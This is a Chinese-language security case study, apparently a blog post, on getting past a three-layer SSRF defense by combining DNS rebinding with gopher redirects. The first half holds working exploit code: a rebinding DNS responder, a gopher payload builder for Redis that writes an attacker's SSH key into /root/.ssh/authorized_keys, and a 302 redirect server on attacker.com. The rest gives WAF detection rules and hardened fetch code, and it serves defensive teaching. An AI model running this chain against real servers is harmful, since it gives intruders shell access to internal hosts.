一、SSRF 漏洞回顾
服务端请求伪造(Server-Side Request Forgery, SSRF)是指攻击者通过服务端发起恶意请求,访问原本无法直接访问的内网资源。其本质原因是:服务端将用户可控的 URL 作为请求目标,且未做充分校验。
经典攻击场景:
- 访问内网服务(Redis、ElasticSearch、K8s API)
- 读取本地文件(
file:///etc/passwd) - 通过云厂商元数据接口获取临时凭证
二、三层防护的设计与绕过
本次案例分析的是一个实施了三层 SSRF 防护的目标系统,攻击者通过 Gopher 协议 和 DNS 重绑定(DNS Rebinding) 组合拳将其击穿。
2.1 第一层:URL 黑名单过滤
防护逻辑:禁止访问内网 IP 地址和敏感协议
# 第一层防护代码(示例)
BLACKLIST_HOSTS = ['127.0.0.1', 'localhost', '0.0.0.0', '::1']
BLACKLIST_PROTOCOLS = ['file', 'ftp', 'dict', 'gopher']
def first_layer_filter(url):
parsed = urlparse(url)
# 协议黑名单
if parsed.scheme in BLACKLIST_PROTOCOLS:
return False, f"Protocol {parsed.scheme} is blocked"
# 主机黑名单
hostname = parsed.hostname
if hostname in BLACKLIST_HOSTS:
return False, f"Host {hostname} is blocked"
# IP 段黑名单(内网段)
try:
ip = ipaddress.ip_address(hostname)
if ip.is_private or ip.is_loopback:
return False, f"Private IP {hostname} is blocked"
except ValueError:
pass # 不是 IP,是域名,继续
return True, "Passed first layer"
绕过思路:使用公网域名绕过 IP 黑名单,后续通过 DNS 重绑定将域名解析到内网 IP。
2.2 第二层:DNS 解析后 IP 二次校验
防护逻辑:对域名进行 DNS 解析,再次校验解析后的 IP 是否在内网范围
# 第二层防护代码(示例)
def second_layer_filter(url):
parsed = urlparse(url)
hostname = parsed.hostname
try:
# 解析域名获取 IP
resolved_ips = socket.getaddrinfo(hostname, None)
for family, _, _, _, sockaddr in resolved_ips:
ip = sockaddr[0]
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback:
return False, f"Resolved IP {ip} is private"
except socket.gaierror:
return False, "DNS resolution failed"
return True, "Passed second layer"
绕过思路:DNS 重绑定(DNS Rebinding)。攻击者控制一个恶意域名,配置 DNS 服务器使其:
- 第一次解析(校验时):返回一个合法的公网 IP,通过校验
- 第二次解析(实际请求时):TTL 设为 0,返回内网 IP(如
127.0.0.1)
攻击者域名: evil.com
│
├─ 第一次 DNS 查询(校验阶段)→ 返回 1.2.3.4(公网合法 IP)
│ → 校验通过!
│
└─ 第二次 DNS 查询(请求阶段,TTL=0 触发重新解析)
→ 返回 127.0.0.1(内网目标)
→ SSRF 成功!
2.3 第三层:HTTP 协议限制 + 响应长度限制
防护逻辑:只允许 HTTP/HTTPS 协议,且限制响应内容长度,防止信息泄露
# 第三层防护代码(示例)
def third_layer_filter(url):
parsed = urlparse(url)
# 只允许 http/https
if parsed.scheme not in ['http', 'https']:
return False, "Only HTTP/HTTPS allowed"
return True, "Passed third layer"
def safe_request(url, max_length=1024):
response = requests.get(url, timeout=5, allow_redirects=False)
if len(response.content) > max_length:
return response.content[:max_length] + b"...[truncated]"
return response.content
绕过思路:Gopher 协议 + URL 编码混淆
Gopher 协议可以构造任意的 TCP 请求 payload。虽然 Gopher 被协议黑名单拦截,但可以通过以下方式绕过:
- 302 跳转绕过协议限制:先访问一个受控的公网 HTTP 服务,该服务返回 302 跳转到
gopher://127.0.0.1:6379/_... - URL 编码/大小写混淆:某些解析器对
GoPher://、g%6fpher://的识别不完善 - CRLF 注入:在 HTTP 请求中注入换行符,将 HTTP 请求改造成其他协议的请求
三、完整攻击链复现
3.1 攻击环境
目标: http://victim.com/fetch?url=<用户输入>
目标内网: 127.0.0.1:6379 (Redis, 无认证)
攻击者控制: evil.com (DNS 服务器) + attacker.com (HTTP 服务)
3.2 攻击步骤
Step 1:配置 DNS 重绑定
# 攻击者的 DNS 服务器逻辑(简化)
from flask import Flask
import random
app = Flask(__name__)
query_count = {}
@app.route('/dns')
def dns_response():
domain = request.args.get('name')
client_ip = request.remote_addr
key = f"{client_ip}:{domain}"
count = query_count.get(key, 0)
query_count[key] = count + 1
if count == 0:
# 第一次查询:返回公网 IP(通过校验)
return "1.2.3.4"
else:
# 后续查询:返回内网 IP(实际攻击)
return "127.0.0.1"
Step 2:构造 Gopher Payload 攻击 Redis
# Gopher 协议攻击 Redis 的 Payload
def build_gopher_redis_payload(commands):
"""
将 Redis 命令转换为 Gopher 协议格式
Redis 协议格式: *<n>\r\n$<len>\r\n<arg>\r\n...
"""
payload = ""
for cmd in commands:
payload += f"*{len(cmd)}\r\n"
for arg in cmd:
payload += f"${len(arg)}\r\n{arg}\r\n"
# Gopher 协议格式: gopher://host:port/_<payload>
# 需要对 payload 进行 URL 编码
import urllib.parse
encoded = urllib.parse.quote(payload, safe='')
return f"gopher://127.0.0.1:6379/_{encoded}"
# 攻击 Payload:写入 SSH 公钥
commands = [
["CONFIG", "SET", "dir", "/root/.ssh"],
["CONFIG", "SET", "dbfilename", "authorized_keys"],
["SET", "x", "ssh-rsa AAAA... attacker@evil.com"],
["SAVE"]
]
gopher_url = build_gopher_redis_payload(commands)
print(gopher_url)
Step 3:利用 302 跳转完成协议绕过
# attacker.com 上的跳转服务
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def redirect_to_gopher():
# 返回 302 跳转到 gopher 协议 URL
# 目标服务端如果跟随重定向,就会发起 gopher 请求
return redirect('gopher://127.0.0.1:6379/_*1%0D%0A...', code=302)
攻击者提交:
http://victim.com/fetch?url=http://attacker.com/redirect
服务端校验 http://attacker.com/redirect → 通过所有三层防护 → 发起请求 → 收到 302 → 跟随重定向到 gopher://127.0.0.1:6379/_... → Redis 被攻击
3.4 攻击时序图
攻击者 目标服务端 DNS 服务器 攻击者 HTTP 服务 内网 Redis
│ │ │ │ │
│ ──提交恶意 URL─────> │ │ │ │
│ │ ──DNS 查询 evil.com─>│ │ │
│ │ │ ──返回 1.2.3.4 ──────>│ │
│ │ <─公网 IP 通过校验───│ │ │
│ │ │ │
│ │ ──请求 attacker.com/redirect ────────────────>│ │
│ │ │ │
│ │ <──────────── 302 redirect to gopher ────────│ │
│ │ │ │
│ │ ──DNS 查询 evil.com(TTL=0 重新解析)───────>│ │
│ │ │ ──返回 127.0.0.1 ────>│ │
│ │ │ │ │
│ │ ──Gopher 请求 127.0.0.1:6379 ───────────────────────────────────────>│
│ │ │
│ │ <──────────────────────────── Redis 响应 ────────────────────────────│
四、检测规则
4.1 WAF / IDS 检测规则
# ModSecurity / Coreruleset 规则
# 规则1:检测 Gopher 协议在 URL 中的使用
SecRule REQUEST_URI|ARGS "@rx (?i)gopher://" \
"id:1001,phase:2,block,msg:'SSRF: Gopher protocol detected'"
# 规则2:检测 DNS 重绑定特征(TTL=0 + 快速 IP 变化)
SecRule REQUEST_HEADERS:Host "@rx \.\w+$" \
"id:1002,phase:1,pass,msg:'Potential DNS rebinding target'"
# 规则3:检测 302 跳转后的协议变更
SecRule RESPONSE_STATUS "@streq 302" \
"chain,id:1003,phase:3,pass,msg:'Redirect to non-HTTP protocol'"
SecRule RESPONSE_HEADERS:Location "@rx ^(gopher|file|dict|ftp)://"
4.2 应用层检测
class SSRFDetector:
def detect_rebinding(self, hostname, dns_history):
"""检测 DNS 重绑定攻击"""
if hostname not in dns_history:
dns_history[hostname] = []
current_ips = socket.getaddrinfo(hostname, None)
current_ip_set = {sockaddr[0] for _, _, _, _, sockaddr in current_ips}
if dns_history[hostname]:
previous_ip_set = set(dns_history[hostname][-1])
# 如果同一域名在短时间内解析到完全不同的 IP 段
if not current_ip_set & previous_ip_set:
# 且包含内网 IP
if any(ipaddress.ip_address(ip).is_private for ip in current_ip_set):
return True, "DNS Rebinding detected"
dns_history[hostname].append(list(current_ip_set))
return False, "OK"
五、防御建议
5.1 正确做法(分层纵深防御)
| 层级 | 正确做法 | 为什么有效 |
|---|---|---|
| 架构层 | 将敏感服务放在独立的网络隔离区(VPC/子网),服务端无法直接访问 | 即使 SSRF 成功,也接触不到敏感服务 |
| 网络层 | 出站防火墙限制服务端只能访问白名单地址 | 黑名单永远有遗漏 |
| 应用层 | 使用 URL 解析库获取最终 IP 后再校验,而非正则匹配字符串 | 防御编码混淆 |
| DNS 层 | 内部 DNS 服务器对 TTL < 5 秒的响应做缓存或告警 | 阻止 DNS 重绑定 |
| 协议层 | 禁止跟随重定向,或限制重定向目标协议 | 防御 302 跳转绕过 |
| 服务层 | 内网关键服务(Redis、K8s API)必须认证 | 即使被访问也无法利用 |
5.2 关键代码修复
import socket
import ipaddress
from urllib.parse import urlparse
def safe_url_fetch(url):
"""安全的 URL 请求函数"""
parsed = urlparse(url)
# 1. 只允许 http/https
if parsed.scheme not in ['http', 'https']:
raise ValueError(f"Only HTTP/HTTPS allowed, got {parsed.scheme}")
# 2. 获取主机名
hostname = parsed.hostname
if not hostname:
raise ValueError("Invalid URL: no hostname")
# 3. DNS 解析
try:
addr_info = socket.getaddrinfo(hostname, None)
except socket.gaierror:
raise ValueError("DNS resolution failed")
# 4. 解析后 IP 校验(关键!)
for family, _, _, _, sockaddr in addr_info:
ip = ipaddress.ip_address(sockaddr[0])
if ip.is_private or ip.is_loopback or ip.is_reserved:
raise ValueError(f"Resolved IP {ip} is not allowed")
# 5. 使用解析后的 IP 直接连接,不再依赖 DNS
# 这一步是防御 DNS 重绑定的核心!
# 获取第一个解析到的公网 IP
target_ip = addr_info[0][4][0]
# 6. 构造新的 URL,使用 IP 直接连接,Host header 保留原域名
# 这样避免了第二次 DNS 查询
import requests
headers = {'Host': hostname}
# 7. 不跟随重定向
response = requests.get(
f"{parsed.scheme}://{target_ip}{parsed.path}",
headers=headers,
allow_redirects=False, # 禁止跟随重定向!
timeout=5
)
return response
核心要点:
- 解析后锁定 IP:DNS 解析一次后,后续用 IP 直接连接,不再给 DNS 重绑定机会
- 禁止跟随重定向:302 跳转是最常见的协议绕过手段
- 白名单优于黑名单:只允许已知的、安全的域名/IP
- 内网服务强制认证:Redis、K8s API、ElasticSearch 等必须设置密码/TLS
核心结论:三层 SSRF 防护被击穿的关键教训是——任何依赖"检查后再请求"的防御都存在时间窗口攻击的可能。正确的做法是解析域名后立即锁定 IP,且禁止跟随重定向。DNS 重绑定和 Gopher 协议的组合拳之所以有效,正是因为它精准利用了"检查阶段"和"请求阶段"之间的时间差。
浙公网安备 33010602011771号